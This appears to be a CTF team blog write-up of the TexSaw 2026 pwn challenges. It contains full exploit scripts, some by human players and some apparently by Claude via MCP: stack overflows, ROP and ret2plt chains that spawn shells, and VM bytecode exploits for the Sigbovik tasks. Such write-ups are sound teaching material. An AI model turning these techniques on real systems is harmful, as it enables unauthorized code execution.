team-logo
Published on

TexSaw 2026 - PWN challenges

Authors

Introduction

I've already written about this CTF in the OSINT challenges section. I won't repeat myself too much. However, I'll add that I used MCP here initially, then completed these tasks without it. Why MCP? I simply wanted to get first blood 😊 And I did it. This wasn't only due to MCP, but also because the website was heavily overloaded at the start, and downloading the tasks was barely possible. I downloaded the files and quickly fed them to the MCP model to solve them. It solved 2 simple tasks, which I'll show laterβ€”doing them manually proved more beneficial and educational. Only after some time did the address appear that I was supposed to connect to, but it wasn't available before. I had the model do it. MCP's interpreter couldn't solve the subsequent tasks despite my best efforts. However, my own approach solved Sigbovik I and Sigbovik II without issues. On Sigbovik III, I ran out of tokens and had to stop.

00

Return to sender

01 In this task, as you can see, we got first blood 😊 01-1

Solution author: kerszi

Description

There aren't many security mechanisms:

checksec ./chall
[*]
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        No PIE (0x400000)
    Stack:      Executable
    RWX:        Has RWX segments
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

The binary has minimal protections: no stack canary, executable stack, and no PIE. This makes exploitation straightforward.

Human solution

from pwn import *             

context.log_level = 'warning' 

context.update(arch='x86_64', os='linux') 
context.terminal = ['/mnt/c/WINDOWS/System32/cmd.exe', '/c', 'start', 'wsl.exe'] #root


HOST="nc 143.198.163.4 15858"
ADDRESS,PORT=HOST.split()[1:]

BINARY_NAME="./chall"
binary = context.binary = ELF(BINARY_NAME, checksec=False)

if args.REMOTE:
    p = remote(ADDRESS,PORT)    
else:
    p = process(binary.path)    


win=binary.sym.drive
offset_win=win+41

payload=0x20*b'A'+0x8*b'B'+p64(offset_win)
p.sendlineafter(b'2 Canary Court',payload)
p.interactive()

And that's it. Simple, but AI did it like this.

AI (Claude+MCP)

#!/usr/bin/env python3
from pwn import *

context.arch = 'amd64'
context.log_level = 'info'

binary = '/mnt/d/moje_programy/CTF/ctftime/2026/TexSAW-2026/pwn-return-to-sender/chall'
elf = ELF(binary, checksec=False)

# Gadgets / addresses (no PIE, no ASLR for code)
pop_rdi    = 0x4011be  # pop rdi; ret  (inside 'tool' function)
ret_gadget = 0x4011bf  # ret           (stack alignment)
binsh      = 0x4020e4  # "/bin/sh" string in .rodata
system_plt = elf.plt['system']  # 0x4010a0

# Buffer = rbp-0x20 = 32 bytes, + 8 bytes saved rbp = 40 bytes to ret addr
payload  = b'A' * 40
payload += p64(ret_gadget)   # align stack to 16 bytes
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system_plt)

HOST = '143.198.163.4'
PORT = 15858

if args.LOCAL:
    p = process(binary)
else:
    p = remote(HOST, PORT)

p.recvuntil(b'?\n')
p.sendline(payload)
p.interactive()

Conclusion

As you can see, the model approached the problem in a very roundabout way. It did not need to, but it worked.

Whats the time

02
We got the first blood again 😊 02-1

Solution author: kerszi

Description

This is a 32-bit binary, and there aren't many security mechanisms:

checksec ./whatsthetime

[*] '/mnt/d/moje_programy/CTF/ctftime/2026/TexSAW-2026/pwn-what-is-time/whatsthetime'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No

Human solution

I asked AI here as well, but only to write the time decryptor β€” the rest I did myself. It was an easy buffer overflow challenge: not return-to-win, as the author suggested, but ret2plt (system@plt).

import struct
from pwn import *             

context.log_level = 'warning' 

context.update(arch='x86', os='linux') 
context.terminal = ['/mnt/c/WINDOWS/System32/cmd.exe', '/c', 'start', 'wsl.exe'] #root


HOST="nc 143.198.163.4 15858"
ADDRESS,PORT=HOST.split()[1:]

BINARY_NAME="./whatsthetime"
binary = context.binary = ELF(BINARY_NAME, checksec=False)

if args.REMOTE:
    p = remote(ADDRESS,PORT)    
else:
    p = process(binary.path)    

def encrypt_payload(payload, start_key):
    encrypted = b""
    current_key = start_key    
    for i in range(0, len(payload), 4):        
        block = payload[i:i+4].ljust(4, b"\x00")                
        val = struct.unpack("<I", block)[0]                
        res = val ^ (current_key & 0xFFFFFFFF)                
        encrypted += struct.pack("<I", res)        
        current_key += 1        
    return encrypted

current_time = int(time.time())
key = (current_time // 60) * 60

system_plt=binary.plt.system

bin_sh=next(binary.search(b'/bin/sh\x00'))

payload= encrypt_payload(68*b'A'+p32(system_plt)+p32(0)+p32(bin_sh), key)
p.sendlineafter(b'\n',payload)

p.interactive()

AI (Claude+MCP) solution

The solution is similar to mine, but I remember the chat struggling a lot and consuming many tokens before it got there.

from pwn import *
import time
import sys

# ─── Config ──────────────────────────────────────────────────────────────────
BINARY   = './whatsthetime'
HOST     = '143.198.163.4'   # <-- wstaw adres serwera CTF
PORT     = 3000                          # <-- wstaw port

# ─── Addresses (no PIE) ──────────────────────────────────────────────────────
system_plt = 0x80490b0
binsh_addr = 0x804a018   # "/bin/sh" string embedded in binary

# ─── XOR helper ──────────────────────────────────────────────────────────────
def xor_encode(desired: bytes, timestamp: int) -> bytes:
    """
    Encode payload so that after the binary's rolling XOR, we get 'desired'.
    The binary XORs group k with (timestamp + k); each byte j in the group
    uses ((ts+k) >> (j*8)) & 0xFF as the key.
    We send:  sent[i] = desired[i] ^ key[i]
    """
    out = bytearray()
    ts = timestamp
    for i in range(0, len(desired), 4):
        chunk = desired[i:i+4]
        for j, b in enumerate(chunk):
            out.append(b ^ ((ts >> (j * 8)) & 0xFF))
        ts += 1
    return bytes(out)

# ─── Payload builder ─────────────────────────────────────────────────────────
def build_payload(timestamp: int) -> bytes:
    OFFSET = 68           # 64-byte buf + 4-byte saved ebx = reach ret addr

    desired  = b'A' * OFFSET
    desired += p32(system_plt)   # overwrite return address
    desired += p32(0xdeadbeef)   # fake ret-addr for system() (don't care)
    desired += p32(binsh_addr)   # arg: "/bin/sh"

    return xor_encode(desired, timestamp)

# ─── Main ────────────────────────────────────────────────────────────────────
def main():
    remote_mode = len(sys.argv) > 1 and sys.argv[1] == 'remote'

    if remote_mode:
        log.info(f'Connecting to {HOST}:{PORT}')
        p = remote(HOST, PORT)
    else:
        log.info('Running locally')
        p = process(BINARY)

    # Read banner + printed time
    p.recvuntil(b'\n')   # "I think one of my watch hands fell off!"
    time_line = p.recvuntil(b'\n').decode()
    log.info(f'Server says: {time_line.strip()}')

    # Compute timestamp: time() rounded down to nearest minute
    ts = int(time.time())
    ts = (ts // 60) * 60
    log.info(f'Using timestamp: {ts} ({hex(ts)})')

    payload = build_payload(ts)
    log.info(f'Sending {len(payload)}-byte payload')
    p.send(payload)

    # Drop the write() output (40 bytes of 'A's from the local buffer)
    p.recvuntil(b'A' * 8, timeout=2)
    p.recvuntil(b'\x00', timeout=2)   # in case there's trailing data

    log.success('Got shell!')
    p.interactive()

if __name__ == '__main__':
    main()

Sigbovik I

03

Solution author: Grzechu

This Sigbovik challenge series was exceptionally difficult. My chat couldn’t handle it. I then tried to analyze it manually, but it was tough. Grzesiek’s Reindeer Klaudiusz managed to crush Parts I and II, but at a high cost. In the end, his reindeer collapsed...

Solution

#!/usr/bin/env python3
import socket, struct, sys, time

def instr(opcode, imm=0):
    return struct.pack('<QQ', opcode, imm)

LOAD = 0x010ad000
DONE = 0x0d0d0000
MPROTECT = 0x08008820
FLAG = 0x08008570

def send_recv(host, port, data, label="", wait=3):
    print(f"\n[*] {label}")
    try:
        from pwn import remote
        r = remote(host, port, timeout=10)
        r.send(data)
        time.sleep(0.3)
        r.shutdown('send')
        out = r.recvall(timeout=wait)
        r.close()
        print(f"    [{len(out)}B] {repr(out[:300])}")
        if b'texsaw{' in out:
            print(f"\n[+] FLAG: {out[out.index(b'texsaw{'):out.index(b'}')+1].decode()}")
            sys.exit(0)
        return out
    except ImportError:
        s = socket.socket()
        s.settimeout(10)
        s.connect((host, port))
        s.sendall(data)
        time.sleep(0.3)
        s.shutdown(socket.SHUT_WR)
        out = b""
        s.settimeout(wait)
        try:
            while True:
                d = s.recv(4096)
                if not d: break
                out += d
        except: pass
        s.close()
        print(f"    [{len(out)}B] {repr(out[:300])}")
        if b'texsaw{' in out:
            print(f"\n[+] FLAG: {out[out.index(b'texsaw{'):out.index(b'}')+1].decode()}")
            sys.exit(0)
        return out

def main():
    host = sys.argv[1] if len(sys.argv) > 1 else "143.198.163.4"
    port = int(sys.argv[2]) if len(sys.argv) > 2 else 1900

    # Sanity: LOAD 42 + DONE β†’ should print "42\n"
    send_recv(host, port, instr(LOAD, 42<<2) + instr(DONE, 0), "LOAD 42 + DONE")

    # Test: LOAD 0 + mprotect + flag (our original exploit)
    send_recv(host, port, instr(LOAD, 0) + instr(MPROTECT, 0) + instr(FLAG, 0),
              "LOAD + mprotect + flag")

    # Test: pad bytecode to full page (4096 bytes) so mprotect range is sane
    exploit = instr(LOAD, 0) + instr(MPROTECT, 0) + instr(FLAG, 0)
    exploit += b'\x00' * (4096 - len(exploit))
    send_recv(host, port, exploit, "LOAD + mprotect + flag (padded to 4096)")

    # Test: Two LOADs to potentially adjust rsi via stack
    exploit2 = instr(LOAD, 0) + instr(LOAD, 0) + instr(MPROTECT, 0) + instr(FLAG, 0)
    send_recv(host, port, exploit2, "2x LOAD + mprotect + flag")

    # Test: FORGET after LOAD (pops value, might affect registers?)
    FORGET = 0x049e7000
    exploit3 = instr(LOAD, 0) + instr(FORGET, 0) + instr(MPROTECT, 0) + instr(FLAG, 0)
    send_recv(host, port, exploit3, "LOAD + FORGET + mprotect + flag")

    # Direct flag call variants (in case bytecode ISN'T read-only on server)
    send_recv(host, port, instr(FLAG, 0), "Direct flag call")
    
    # Try jumping past push rbp in flag function
    send_recv(host, port, instr(FLAG + 4, 0), "Flag+4 (skip push+mov)")
    
    # Try jumping to just before execve call but after argv setup
    # At 0x8008599: lea rsi, [rbp-0x20] (uses writable rbp)
    # Then lea rdi, xor eax, mov edx, call execve
    send_recv(host, port, instr(0x8008599, 0), "Flag mid (argv setup + execve)")

    # Use the SCROP approach: bridge via plain ret
    PLAIN_RET = 0x80085b2  # just `ret` at end of flag func
    # After init ret 0x8 β†’ plain ret β†’ pops next opcode β†’ mprotect β†’ pops next β†’ flag
    chain = instr(PLAIN_RET, 0) + instr(MPROTECT, 0) + instr(FLAG, 0)
    send_recv(host, port, chain, "SCROP: ret bridge β†’ mprotect β†’ flag")

    print("\n[*] Done")

if __name__ == "__main__":
    main()

Sigbovik II - Errata

02

Solution author: Grzechu

Solution

#!/usr/bin/env python3

from pwn import *

HOST = '143.198.163.4'
PORT = 1901

def main():
    context.log_level = 'info'
    
    r = remote(HOST, PORT, timeout=15)
    
    # Receive step markers
    r.recvuntil(b'1\n', timeout=5)
    
    # Send the exploit assembly
    # PRIMAPPLY 8008574 = jump to flag function PAST the prologue
    # (skips push rbp; mov rbp,rsp which would crash on read-only stack)
    payload = b"LOAD NULL\nLOAD 0\nLOAD 0\nPRIMAPPLY 8008574\nDONE\n"
    r.sendline(payload.strip())
    
    # Receive all output
    resp = r.recvall(timeout=10)
    log.info(f"Response: {resp}")
    
    # Extract flag
    if b'texsaw{' in resp:
        start = resp.index(b'texsaw{')
        end = resp.index(b'}', start) + 1
        flag = resp[start:end].decode()
        log.success(f"FLAG: {flag}")
    else:
        log.info("No flag found, full output above")
    
    r.close()

if __name__ == '__main__':
    main()

Conclusion

Doing CTF tasks with AI has both pros and cons. You will definitely learn less than if you solved them on your own. And if you just type Do this and it does everything for you, you will learn nothing and burn through tokens. The best approach is to solve tasks thoughtfully, with AI helping youβ€”not doing everything for you.

Bonus

You can find all binaries here.